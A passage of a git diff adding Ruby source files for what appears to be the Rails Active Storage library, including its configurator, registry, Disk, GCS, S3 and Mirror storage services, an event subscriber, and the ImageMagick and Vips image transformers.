+        ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: filename.sanitized)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/configurator.rb b/activestorage/lib/active_storage/service/configurator.rb
new file mode 100644
index 0000000000000..a899ce1e61f20
--- /dev/null
+++ b/activestorage/lib/active_storage/service/configurator.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Service::Configurator # :nodoc:
+    attr_reader :configurations
+
+    def self.build(service_name, configurations)
+      new(configurations).build(service_name)
+    end
+
+    def initialize(configurations)
+      @configurations = configurations.deep_symbolize_keys
+    end
+
+    def build(service_name)
+      config = config_for(service_name.to_sym)
+      resolve(config.fetch(:service)).build(
+        **config, configurator: self, name: service_name
+      )
+    end
+
+    def inspect # :nodoc:
+      attrs = configurations.any? ?
+        " configurations=[#{configurations.keys.map(&:inspect).join(", ")}]" : ""
+      "#<#{self.class}#{attrs}>"
+    end
+
+    private
+      def config_for(name)
+        configurations.fetch name do
+          raise "Missing configuration for the #{name.inspect} Active Storage service. Configurations available for #{configurations.keys.inspect}"
+        end
+      end
+
+      def resolve(class_name)
+        require "active_storage/service/#{class_name.to_s.underscore}_service"
+        ActiveStorage::Service.const_get(:"#{class_name.camelize}Service")
+      rescue LoadError
+        raise "Missing service adapter for #{class_name.inspect}"
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/disk_service.rb b/activestorage/lib/active_storage/service/disk_service.rb
new file mode 100644
index 0000000000000..ee49bf6b6c59f
--- /dev/null
+++ b/activestorage/lib/active_storage/service/disk_service.rb
@@ -0,0 +1,178 @@
+# frozen_string_literal: true
+
+require "fileutils"
+require "pathname"
+require "openssl"
+require "active_support/core_ext/numeric/bytes"
+
+module ActiveStorage
+  # = Active Storage \Disk \Service
+  #
+  # Wraps a local disk path as an Active Storage service. See ActiveStorage::Service for the generic API
+  # documentation that applies to all services.
+  class Service::DiskService < Service
+    attr_accessor :root
+
+    def initialize(root:, public: false, **options)
+      @root = root
+      @public = public
+    end
+
+    def upload(key, io, checksum: nil, **)
+      instrument :upload, key: key, checksum: checksum do
+        IO.copy_stream(io, make_path_for(key))
+        ensure_integrity_of(key, checksum) if checksum
+      end
+    end
+
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream key, &block
+        end
+      else
+        instrument :download, key: key do
+          File.binread path_for(key)
+        rescue Errno::ENOENT
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        File.open(path_for(key), "rb") do |file|
+          file.seek range.begin
+          file.read range.size
+        end
+      rescue Errno::ENOENT
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+
+    def delete(key)
+      instrument :delete, key: key do
+        File.delete path_for(key)
+      rescue Errno::ENOENT
+        # Ignore files already deleted
+      end
+    end
+
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        Dir.glob(path_for("#{prefix}*")).each do |path|
+          FileUtils.rm_rf(path)
+        end
+      end
+    end
+
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = File.exist? path_for(key)
+        payload[:exist] = answer
+        answer
+      end
+    end
+
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      instrument :url, key: key do |payload|
+        verified_token_with_expiration = ActiveStorage.verifier.generate(
+          {
+            key: key,
+            content_type: content_type,
+            content_length: content_length,
+            checksum: checksum,
+            service_name: name
+          },
+          expires_in: expires_in,
+          purpose: :blob_token
+        )
+
+        url_helpers.update_rails_disk_service_url(verified_token_with_expiration, url_options).tap do |generated_url|
+          payload[:url] = generated_url
+        end
+      end
+    end
+
+    def headers_for_direct_upload(key, content_type:, **)
+      { "Content-Type" => content_type }
+    end
+
+    def path_for(key) # :nodoc:
+      File.join root, folder_for(key), key
+    end
+
+    def compose(source_keys, destination_key, **)
+      File.open(make_path_for(destination_key), "w") do |destination_file|
+        source_keys.each do |source_key|
+          File.open(path_for(source_key), "rb") do |source_file|
+            IO.copy_stream(source_file, destination_file)
+          end
+        end
+      end
+    end
+
+    private
+      def private_url(key, expires_in:, filename:, content_type:, disposition:, **)
+        generate_url(key, expires_in: expires_in, filename: filename, content_type: content_type, disposition: disposition)
+      end
+
+      def public_url(key, filename:, content_type: nil, disposition: :attachment, **)
+        generate_url(key, expires_in: nil, filename: filename, content_type: content_type, disposition: disposition)
+      end
+
+      def generate_url(key, expires_in:, filename:, content_type:, disposition:)
+        content_disposition = content_disposition_with(type: disposition, filename: filename)
+        verified_key_with_expiration = ActiveStorage.verifier.generate(
+          {
+            key: key,
+            disposition: content_disposition,
+            content_type: content_type,
+            service_name: name
+          },
+          expires_in: expires_in,
+          purpose: :blob_key
+        )
+
+        if url_options.blank?
+          raise ArgumentError, "Cannot generate URL for #{filename} using Disk service, please set ActiveStorage::Current.url_options."
+        end
+
+        url_helpers.rails_disk_service_url(verified_key_with_expiration, filename: filename, **url_options)
+      end
+
+
+      def stream(key)
+        File.open(path_for(key), "rb") do |file|
+          while data = file.read(5.megabytes)
+            yield data
+          end
+        end
+      rescue Errno::ENOENT
+        raise ActiveStorage::FileNotFoundError
+      end
+
+      def folder_for(key)
+        [ key[0..1], key[2..3] ].join("/")
+      end
+
+      def make_path_for(key)
+        path_for(key).tap { |path| FileUtils.mkdir_p File.dirname(path) }
+      end
+
+      def ensure_integrity_of(key, checksum)
+        unless OpenSSL::Digest::MD5.file(path_for(key)).base64digest == checksum
+          delete key
+          raise ActiveStorage::IntegrityError
+        end
+      end
+
+      def url_helpers
+        @url_helpers ||= Rails.application.routes.url_helpers
+      end
+
+      def url_options
+        ActiveStorage::Current.url_options
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/gcs_service.rb b/activestorage/lib/active_storage/service/gcs_service.rb
new file mode 100644
index 0000000000000..cc2ade14f79e1
--- /dev/null
+++ b/activestorage/lib/active_storage/service/gcs_service.rb
@@ -0,0 +1,237 @@
+# frozen_string_literal: true
+
+gem "google-cloud-storage", "~> 1.11"
+require "google/apis/iamcredentials_v1"
+require "google/cloud/storage"
+
+module ActiveStorage
+  # = Active Storage \GCS \Service
+  #
+  # Wraps the Google Cloud Storage as an Active Storage service. See ActiveStorage::Service for the generic API
+  # documentation that applies to all services.
+  class Service::GCSService < Service
+    class MetadataServerError < ActiveStorage::Error; end
+    class MetadataServerNotFoundError < ActiveStorage::Error; end
+
+    def initialize(public: false, **config)
+      @public = public
+      @config = config
+    end
+
+    def upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil, custom_metadata: {})
+      instrument :upload, key: key, checksum: checksum do
+        # GCS's signed URLs don't include params such as response-content-type response-content_disposition
+        # in the signature, which means an attacker can modify them and bypass our effort to force these to
+        # binary and attachment when the file's content type requires it. The only way to force them is to
+        # store them as object's metadata.
+        content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+        bucket.create_file(io, key, md5: checksum, cache_control: @config[:cache_control], content_type: content_type, content_disposition: content_disposition, metadata: custom_metadata)
+      rescue Google::Cloud::InvalidArgumentError
+        raise ActiveStorage::IntegrityError
+      end
+    end
+
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream(key, &block)
+        end
+      else
+        instrument :download, key: key do
+          file_for(key).download.string
+        rescue Google::Cloud::NotFoundError
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+
+    def update_metadata(key, content_type:, disposition: nil, filename: nil, custom_metadata: {})
+      instrument :update_metadata, key: key, content_type: content_type, disposition: disposition do
+        file_for(key).update do |file|
+          file.content_type = content_type
+          file.content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+          file.metadata = custom_metadata
+        end
+      end
+    end
+
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        file_for(key).download(range: range).string
+      rescue Google::Cloud::NotFoundError
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+
+    def delete(key)
+      instrument :delete, key: key do
+        file_for(key).delete
+      rescue Google::Cloud::NotFoundError
+        # Ignore files already deleted
+      end
+    end
+
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        bucket.files(prefix: prefix).all do |file|
+          file.delete
+        rescue Google::Cloud::NotFoundError
+          # Ignore concurrently-deleted files
+        end
+      end
+    end
+
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = file_for(key).exists?
+        payload[:exist] = answer
+        answer
+      end
+    end
+
+    def url_for_direct_upload(key, expires_in:, checksum:, custom_metadata: {}, **)
+      instrument :url, key: key do |payload|
+        headers = {}
+        version = :v2
+
+        if @config[:cache_control].present?
+          headers["Cache-Control"] = @config[:cache_control]
+          # v2 signing doesn't support non `x-goog-` headers. Only switch to v4 signing
+          # if necessary for back-compat; v4 limits the expiration of the URL to 7 days
+          # whereas v2 has no limit
+          version = :v4
+        end
+
+        headers.merge!(custom_metadata_headers(custom_metadata))
+
+        args = {
+          content_md5: checksum,
+          expires: expires_in,
+          headers: headers,
+          method: "PUT",
+          version: version,
+        }
+
+        if @config[:iam]
+          args[:issuer] = issuer
+          args[:signer] = signer
+        end
+
+        generated_url = bucket.signed_url(key, **args)
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+
+    def headers_for_direct_upload(key, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **)
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if filename
+
+      headers = { "Content-MD5" => checksum, "Content-Disposition" => content_disposition, **custom_metadata_headers(custom_metadata) }
+      if @config[:cache_control].present?
+        headers["Cache-Control"] = @config[:cache_control]
+      end
+
+      headers
+    end
+
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      bucket.compose(source_keys, destination_key).update do |file|
+        file.content_type = content_type
+        file.content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+        file.metadata = custom_metadata
+      end
+    end
+
+    def bucket
+      @bucket ||= client.bucket(@config.fetch(:bucket), skip_lookup: true)
+    end
+
+    def client
+      @client ||= Google::Cloud::Storage.new(**@config.except(:bucket, :cache_control, :iam, :gsa_email))
+    end
+
+    private
+      def private_url(key, expires_in:, filename:, content_type:, disposition:, **)
+        args = {
+          expires: expires_in,
+          query: {
+            "response-content-disposition" => content_disposition_with(type: disposition, filename: filename),
+            "response-content-type" => content_type
+          }
+        }
+
+        if @config[:iam]
+          args[:issuer] = issuer
+          args[:signer] = signer
+        end
+
+        file_for(key).signed_url(**args)
+      end
+
+      def public_url(key, **)
+        file_for(key).public_url
+      end
+
+      def file_for(key, skip_lookup: true)
+        bucket.file(key, skip_lookup: skip_lookup)
+      end
+
+      # Reads the file for the given key in chunks, yielding each to the block.
+      def stream(key)
+        file = file_for(key, skip_lookup: false)
+
+        chunk_size = 5.megabytes
+        offset = 0
+
+        raise ActiveStorage::FileNotFoundError unless file.present?
+
+        while offset < file.size
+          yield file.download(range: offset..(offset + chunk_size - 1)).string
+          offset += chunk_size
+        end
+      end
+
+      def issuer
+        @issuer ||= @config[:gsa_email].presence || email_from_metadata_server
+      end
+
+      def email_from_metadata_server
+        env = Google::Cloud.env
+        raise MetadataServerNotFoundError if !env.metadata?
+
+        email = env.lookup_metadata("instance", "service-accounts/default/email")
+        email.presence or raise MetadataServerError
+      end
+
+      def signer
+        # https://googleapis.dev/ruby/google-cloud-storage/latest/Google/Cloud/Storage/Project.html#signed_url-instance_method
+        lambda do |string_to_sign|
+          iam_client = Google::Apis::IamcredentialsV1::IAMCredentialsService.new
+
+          # We explicitly do not set iam_client.authorization so that it uses the
+          # credentials set by the application at Google::Apis::RequestOptions.default.authorization.
+          # If the application does not set it, the GCP libraries will automatically
+          # determine it on each call. This code previously explicitly set the
+          # authorization to Google::Auth.get_application_default which triggers
+          # an explicit call to the metadata server - given this lambda is called
+          # for a significant number of file operations, it can lead to considerable
+          # tail latencies and even metadata server overloads. Additionally, that
+          # prevented applications from being able to configure the credentials
+          # used to perform the signature operation.
+
+          request = Google::Apis::IamcredentialsV1::SignBlobRequest.new(
+            payload: string_to_sign
+          )
+          resource = "projects/-/serviceAccounts/#{issuer}"
+          response = iam_client.sign_service_account_blob(resource, request)
+          response.signed_blob
+        end
+      end
+
+      def custom_metadata_headers(metadata)
+        metadata.transform_keys { |key| "x-goog-meta-#{key}" }
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/mirror_service.rb b/activestorage/lib/active_storage/service/mirror_service.rb
new file mode 100644
index 0000000000000..09c4e4d7f94df
--- /dev/null
+++ b/activestorage/lib/active_storage/service/mirror_service.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+
+module ActiveStorage
+  # = Active Storage Mirror \Service
+  #
+  # Wraps a set of mirror services and provides a single ActiveStorage::Service object that will all
+  # have the files uploaded to them. A +primary+ service is designated to answer calls to:
+  # * +download+
+  # * +exists?+
+  # * +url+
+  # * +url_for_direct_upload+
+  # * +headers_for_direct_upload+
+  class Service::MirrorService < Service
+    attr_reader :primary, :mirrors
+
+    delegate :download, :download_chunk, :exist?, :url,
+      :url_for_direct_upload, :headers_for_direct_upload, :path_for, :compose, to: :primary
+
+    # Stitch together from named services.
+    def self.build(primary:, mirrors:, name:, configurator:, **options) # :nodoc:
+      new(
+        primary: configurator.build(primary),
+        mirrors: mirrors.collect { |mirror_name| configurator.build mirror_name }
+      ).tap do |service_instance|
+        service_instance.name = name
+      end
+    end
+
+    def initialize(primary:, mirrors:)
+      @primary, @mirrors = primary, mirrors
+      @executor = Concurrent::ThreadPoolExecutor.new(
+        name: "ActiveStorage-mirror-service",
+        min_threads: 1,
+        max_threads: mirrors.size,
+        max_queue: 0,
+        fallback_policy: :caller_runs,
+        idle_time: 60
+      )
+    end
+
+    # Upload the +io+ to the +key+ specified to all services. The upload to the primary service is done synchronously
+    # whereas the upload to the mirrors is done asynchronously. If a +checksum+ is provided, all services will
+    # ensure a match when the upload has completed or raise an ActiveStorage::IntegrityError.
+    def upload(key, io, checksum: nil, **options)
+      io.rewind
+      primary.upload key, io, checksum: checksum, **options
+      mirror_later key, checksum: checksum
+    end
+
+    # Delete the file at the +key+ on all services.
+    def delete(key)
+      perform_across_services :delete, key
+    end
+
+    # Delete files at keys starting with the +prefix+ on all services.
+    def delete_prefixed(prefix)
+      perform_across_services :delete_prefixed, prefix
+    end
+
+    def mirror_later(key, checksum:) # :nodoc:
+      ActiveStorage::MirrorJob.perform_later key, checksum: checksum
+    end
+
+    # Copy the file at the +key+ from the primary service to each of the mirrors where it doesn't already exist.
+    def mirror(key, checksum:)
+      instrument :mirror, key: key, checksum: checksum do
+        if (mirrors_in_need_of_mirroring = mirrors.select { |service| !service.exist?(key) }).any?
+          primary.open(key, checksum: checksum) do |io|
+            mirrors_in_need_of_mirroring.each do |service|
+              io.rewind
+              service.upload key, io, checksum: checksum
+            end
+          end
+        end
+      end
+    end
+
+    private
+      def each_service(&block)
+        [ primary, *mirrors ].each(&block)
+      end
+
+      def perform_across_services(method, *args)
+        tasks = each_service.collect do |service|
+          Concurrent::Promise.execute(executor: @executor) do
+            service.public_send method, *args
+          end
+        end
+        tasks.each(&:value!)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/registry.rb b/activestorage/lib/active_storage/service/registry.rb
new file mode 100644
index 0000000000000..fff0b6a950ca4
--- /dev/null
+++ b/activestorage/lib/active_storage/service/registry.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Service::Registry # :nodoc:
+    def initialize(configurations)
+      @configurations = configurations.deep_symbolize_keys
+      @services = {}
+    end
+
+    def fetch(name)
+      services.fetch(name.to_sym) do |key|
+        if configurations.include?(key)
+          services[key] = configurator.build(key)
+        else
+          if block_given?
+            yield key
+          else
+            raise KeyError, "Missing configuration for the #{key} Active Storage service. " \
+              "Configurations available for the #{configurations.keys.to_sentence} services."
+          end
+        end
+      end
+    end
+
+    def inspect # :nodoc:
+      attrs = configurations.any? ?
+        " configurations=[#{configurations.keys.map(&:inspect).join(", ")}]" : ""
+      "#<#{self.class}#{attrs}>"
+    end
+
+    private
+      attr_reader :configurations, :services
+
+      def configurator
+        @configurator ||= ActiveStorage::Service::Configurator.new(configurations)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/service/s3_service.rb b/activestorage/lib/active_storage/service/s3_service.rb
new file mode 100644
index 0000000000000..729cf50c25868
--- /dev/null
+++ b/activestorage/lib/active_storage/service/s3_service.rb
@@ -0,0 +1,186 @@
+# frozen_string_literal: true
+
+gem "aws-sdk-s3", "~> 1.48"
+
+require "aws-sdk-s3"
+require "active_support/core_ext/numeric/bytes"
+
+module ActiveStorage
+  # = Active Storage \S3 \Service
+  #
+  # Wraps the Amazon Simple Storage Service (S3) as an Active Storage service.
+  # See ActiveStorage::Service for the generic API documentation that applies to all services.
+  class Service::S3Service < Service
+    attr_reader :client, :bucket
+    attr_reader :multipart_upload_threshold, :upload_options
+
+    def initialize(bucket:, upload: {}, public: false, **options)
+      @client = Aws::S3::Resource.new(**options)
+      @transfer_manager = Aws::S3::TransferManager.new(client: @client.client) if defined?(Aws::S3::TransferManager)
+      @bucket = @client.bucket(bucket)
+
+      @multipart_upload_threshold = upload.delete(:multipart_threshold) || 100.megabytes
+      @public = public
+
+      @upload_options = upload
+      @upload_options[:acl] = "public-read" if public?
+    end
+
+    def upload(key, io, checksum: nil, filename: nil, content_type: nil, disposition: nil, custom_metadata: {}, **)
+      instrument :upload, key: key, checksum: checksum do
+        content_disposition = content_disposition_with(filename: filename, type: disposition) if disposition && filename
+
+        if io.size < multipart_upload_threshold
+          upload_with_single_part key, io, checksum: checksum, content_type: content_type, content_disposition: content_disposition, custom_metadata: custom_metadata
+        else
+          upload_with_multipart key, io, content_type: content_type, content_disposition: content_disposition, custom_metadata: custom_metadata
+        end
+      end
+    end
+
+    def download(key, &block)
+      if block_given?
+        instrument :streaming_download, key: key do
+          stream(key, &block)
+        end
+      else
+        instrument :download, key: key do
+          object_for(key).get.body.string.force_encoding(Encoding::BINARY)
+        rescue Aws::S3::Errors::NoSuchKey
+          raise ActiveStorage::FileNotFoundError
+        end
+      end
+    end
+
+    def download_chunk(key, range)
+      instrument :download_chunk, key: key, range: range do
+        object_for(key).get(range: "bytes=#{range.begin}-#{range.exclude_end? ? range.end - 1 : range.end}").body.string.force_encoding(Encoding::BINARY)
+      rescue Aws::S3::Errors::NoSuchKey
+        raise ActiveStorage::FileNotFoundError
+      end
+    end
+
+    def delete(key)
+      instrument :delete, key: key do
+        object_for(key).delete
+      end
+    end
+
+    def delete_prefixed(prefix)
+      instrument :delete_prefixed, prefix: prefix do
+        bucket.objects(prefix: prefix).batch_delete!
+      end
+    end
+
+    def exist?(key)
+      instrument :exist, key: key do |payload|
+        answer = object_for(key).exists?
+        payload[:exist] = answer
+        answer
+      end
+    end
+
+    def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:, custom_metadata: {})
+      instrument :url, key: key do |payload|
+        generated_url = object_for(key).presigned_url :put, expires_in: expires_in.to_i,
+          content_type: content_type, content_length: content_length, content_md5: checksum,
+          metadata: custom_metadata, whitelist_headers: ["content-length"], **upload_options
+
+        payload[:url] = generated_url
+
+        generated_url
+      end
+    end
+
+    def headers_for_direct_upload(key, content_type:, checksum:, filename: nil, disposition: nil, custom_metadata: {}, **)
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if filename
+
+      { "Content-Type" => content_type, "Content-MD5" => checksum, "Content-Disposition" => content_disposition, **custom_metadata_headers(custom_metadata) }
+    end
+
+    def compose(source_keys, destination_key, filename: nil, content_type: nil, disposition: nil, custom_metadata: {})
+      content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
+
+      upload_stream(
+        key: destination_key,
+        content_type: content_type,
+        content_disposition: content_disposition,
+        part_size: MINIMUM_UPLOAD_PART_SIZE,
+        metadata: custom_metadata,
+        **upload_options
+      ) do |out|
+        source_keys.each do |source_key|
+          stream(source_key) do |chunk|
+            IO.copy_stream(StringIO.new(chunk), out)
+          end
+        end
+      end
+    end
+
+    private
+      def upload_stream(key:, **options, &block)
+        if @transfer_manager
+          @transfer_manager.upload_stream(key: key, bucket: bucket.name, **options, &block)
+        else
+          object_for(key).upload_stream(**options, &block)
+        end
+      end
+
+      def private_url(key, expires_in:, filename:, disposition:, content_type:, **client_opts)
+        object_for(key).presigned_url :get, expires_in: expires_in.to_i,
+          response_content_disposition: content_disposition_with(type: disposition, filename: filename),
+          response_content_type: content_type, **client_opts
+      end
+
+      def public_url(key, **client_opts)
+        object_for(key).public_url(**client_opts)
+      end
+
+      MAXIMUM_UPLOAD_PARTS_COUNT = 10000
+      MINIMUM_UPLOAD_PART_SIZE   = 5.megabytes
+
+      def upload_with_single_part(key, io, checksum: nil, content_type: nil, content_disposition: nil, custom_metadata: {})
+        object_for(key).put(body: io, content_md5: checksum, content_type: content_type, content_disposition: content_disposition, metadata: custom_metadata, **upload_options)
+      rescue Aws::S3::Errors::BadDigest
+        raise ActiveStorage::IntegrityError
+      end
+
+      def upload_with_multipart(key, io, content_type: nil, content_disposition: nil, custom_metadata: {})
+        part_size = [ io.size.fdiv(MAXIMUM_UPLOAD_PARTS_COUNT).ceil, MINIMUM_UPLOAD_PART_SIZE ].max
+
+        upload_stream(
+          key: key,
+          content_type: content_type,
+          content_disposition: content_disposition,
+          part_size: part_size,
+          metadata: custom_metadata,
+          **upload_options
+        ) do |out|
+          IO.copy_stream(io, out)
+        end
+      end
+
+      def object_for(key)
+        bucket.object(key)
+      end
+
+      # Reads the object for the given key in chunks, yielding each to the block.
+      def stream(key)
+        object = object_for(key)
+
+        chunk_size = 5.megabytes
+        offset = 0
+
+        raise ActiveStorage::FileNotFoundError unless object.exists?
+
+        while offset < object.content_length
+          yield object.get(range: "bytes=#{offset}-#{offset + chunk_size - 1}").body.string.force_encoding(Encoding::BINARY)
+          offset += chunk_size
+        end
+      end
+
+      def custom_metadata_headers(metadata)
+        metadata.transform_keys { |key| "x-amz-meta-#{key}" }
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/structured_event_subscriber.rb b/activestorage/lib/active_storage/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..361734d75ca1b
--- /dev/null
+++ b/activestorage/lib/active_storage/structured_event_subscriber.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "active_support/structured_event_subscriber"
+
+module ActiveStorage
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    def service_upload(event)
+      emit_event("active_storage.service_upload",
+        key: event.payload[:key],
+        checksum: event.payload[:checksum],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def service_download(event)
+      emit_event("active_storage.service_download",
+        key: event.payload[:key],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def service_streaming_download(event)
+      emit_event("active_storage.service_streaming_download",
+        key: event.payload[:key],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def preview(event)
+      emit_event("active_storage.preview",
+        key: event.payload[:key],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def service_delete(event)
+      emit_event("active_storage.service_delete",
+        key: event.payload[:key],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def service_delete_prefixed(event)
+      emit_event("active_storage.service_delete_prefixed",
+        prefix: event.payload[:prefix],
+        duration_ms: event.duration.round(2),
+      )
+    end
+
+    def service_exist(event)
+      emit_debug_event("active_storage.service_exist",
+        key: event.payload[:key],
+        exist: event.payload[:exist],
+        duration_ms: event.duration.round(2),
+      )
+    end
+    debug_only :service_exist
+
+    def service_url(event)
+      emit_debug_event("active_storage.service_url",
+        key: event.payload[:key],
+        url: event.payload[:url],
+        duration_ms: event.duration.round(2),
+      )
+    end
+    debug_only :service_url
+
+    def service_mirror(event)
+      emit_debug_event("active_storage.service_mirror",
+        key: event.payload[:key],
+        checksum: event.payload[:checksum],
+        duration_ms: event.duration.round(2),
+      )
+    end
+    debug_only :service_mirror
+  end
+end
+
+ActiveStorage::StructuredEventSubscriber.attach_to :active_storage
diff --git a/activestorage/lib/active_storage/transformers/image_magick.rb b/activestorage/lib/active_storage/transformers/image_magick.rb
new file mode 100644
index 0000000000000..5080048583586
--- /dev/null
+++ b/activestorage/lib/active_storage/transformers/image_magick.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Transformers
+    class ImageMagick < ImageProcessingTransformer
+      private
+        def processor
+          ImageProcessing::MiniMagick
+        end
+
+        def validate_transformation(name, argument)
+          method_name = name.to_s.tr("-", "_")
+
+          unless ActiveStorage.supported_image_processing_methods.include?(method_name)
+            raise UnsupportedImageProcessingMethod, <<~ERROR.squish
+              The provided transformation method is not supported: #{method_name}.
+            ERROR
+          end
+
+          if argument.present?
+            if argument.is_a?(String) || argument.is_a?(Symbol)
+              validate_arg_string(argument)
+            elsif argument.is_a?(Array)
+              validate_arg_array(argument)
+            elsif argument.is_a?(Hash)
+              validate_arg_hash(argument)
+            end
+          end
+
+          super
+        end
+
+        def validate_arg_string(argument)
+          unsupported_arguments = ActiveStorage.unsupported_image_processing_arguments.any? do |bad_arg|
+            argument.to_s.downcase.include?(bad_arg)
+          end
+
+          raise UnsupportedImageProcessingArgument if unsupported_arguments
+        end
+
+        def validate_arg_array(argument)
+          argument.each do |arg|
+            if arg.is_a?(Integer) || arg.is_a?(Float)
+              next
+            elsif arg.is_a?(String) || arg.is_a?(Symbol)
+              validate_arg_string(arg)
+            elsif arg.is_a?(Array)
+              validate_arg_array(arg)
+            elsif arg.is_a?(Hash)
+              validate_arg_hash(arg)
+            end
+          end
+        end
+
+        def validate_arg_hash(argument)
+          argument.each do |key, value|
+            validate_arg_string(key)
+
+            if value.is_a?(Integer) || value.is_a?(Float)
+              next
+            elsif value.is_a?(String) || value.is_a?(Symbol)
+              validate_arg_string(value)
+            elsif value.is_a?(Array)
+              validate_arg_array(value)
+            elsif value.is_a?(Hash)
+              validate_arg_hash(value)
+            end
+          end
+        end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/transformers/image_processing_transformer.rb b/activestorage/lib/active_storage/transformers/image_processing_transformer.rb
new file mode 100644
index 0000000000000..958d0d76f1db7
--- /dev/null
+++ b/activestorage/lib/active_storage/transformers/image_processing_transformer.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+begin
+  require "image_processing"
+rescue LoadError
+  raise LoadError, <<~ERROR.squish
+    Generating image variants require the image_processing gem.
+    Please add `gem "image_processing", "~> 1.2"` to your Gemfile.
+  ERROR
+end
+
+module ActiveStorage
+  module Transformers
+    class ImageProcessingTransformer < Transformer
+      private
+        class UnsupportedImageProcessingMethod < StandardError; end
+        class UnsupportedImageProcessingArgument < StandardError; end
+
+        def process(file, format:)
+          processor.
+            source(file).
+            loader(page: 0).
+            convert(format).
+            apply(operations).
+            call
+        end
+
+        def operations
+          transformations.each_with_object([]) do |(name, argument), list|
+            validate_transformation(name, argument)
+
+            if argument.present?
+              list << [ name, argument ]
+            end
+          end
+        end
+
+        def validate_transformation(name, argument)
+          if name.to_s == "combine_options"
+            raise ArgumentError, <<~ERROR.squish
+              Active Storage's ImageProcessing transformer doesn't support :combine_options,
+              as it always generates a single command.
+            ERROR
+          end
+        end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/transformers/null_transformer.rb b/activestorage/lib/active_storage/transformers/null_transformer.rb
new file mode 100644
index 0000000000000..6879fd5641604
--- /dev/null
+++ b/activestorage/lib/active_storage/transformers/null_transformer.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Transformers
+    class NullTransformer < Transformer # :nodoc:
+      private
+        def process(file, format:)
+          file
+        end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/transformers/transformer.rb b/activestorage/lib/active_storage/transformers/transformer.rb
new file mode 100644
index 0000000000000..17ff3e839d51b
--- /dev/null
+++ b/activestorage/lib/active_storage/transformers/transformer.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Transformers
+    # = Active Storage \Transformers \Transformer
+    #
+    # A Transformer applies a set of transformations to an image.
+    #
+    # The following concrete subclasses are included in Active Storage:
+    #
+    # * ActiveStorage::Transformers::ImageProcessingTransformer:
+    #   backed by ImageProcessing, a common interface for MiniMagick and ruby-vips
+    class Transformer
+      attr_reader :transformations
+
+      def initialize(transformations)
+        @transformations = transformations
+      end
+
+      # Applies the transformations to the source image in +file+, producing a target image in the
+      # specified +format+. Yields an open Tempfile containing the target image. Closes and unlinks
+      # the output tempfile after yielding to the given block. Returns the result of the block.
+      def transform(file, format:)
+        output = process(file, format: format)
+
+        begin
+          yield output
+        ensure
+          output.close!
+        end
+      end
+
+      private
+        # Returns an open Tempfile containing a transformed image in the given +format+.
+        # All subclasses implement this method.
+        def process(file, format:) # :doc:
+          raise NotImplementedError
+        end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/transformers/vips.rb b/activestorage/lib/active_storage/transformers/vips.rb
new file mode 100644
index 0000000000000..df1efc318bfd5
--- /dev/null
+++ b/activestorage/lib/active_storage/transformers/vips.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Transformers
+    class Vips < ImageProcessingTransformer
+      def processor
+        ImageProcessing::Vips
+      end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/version.rb b/activestorage/lib/active_storage/version.rb
new file mode 100644
index 0000000000000..a486179e55cef
--- /dev/null
+++ b/activestorage/lib/active_storage/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActiveStorage
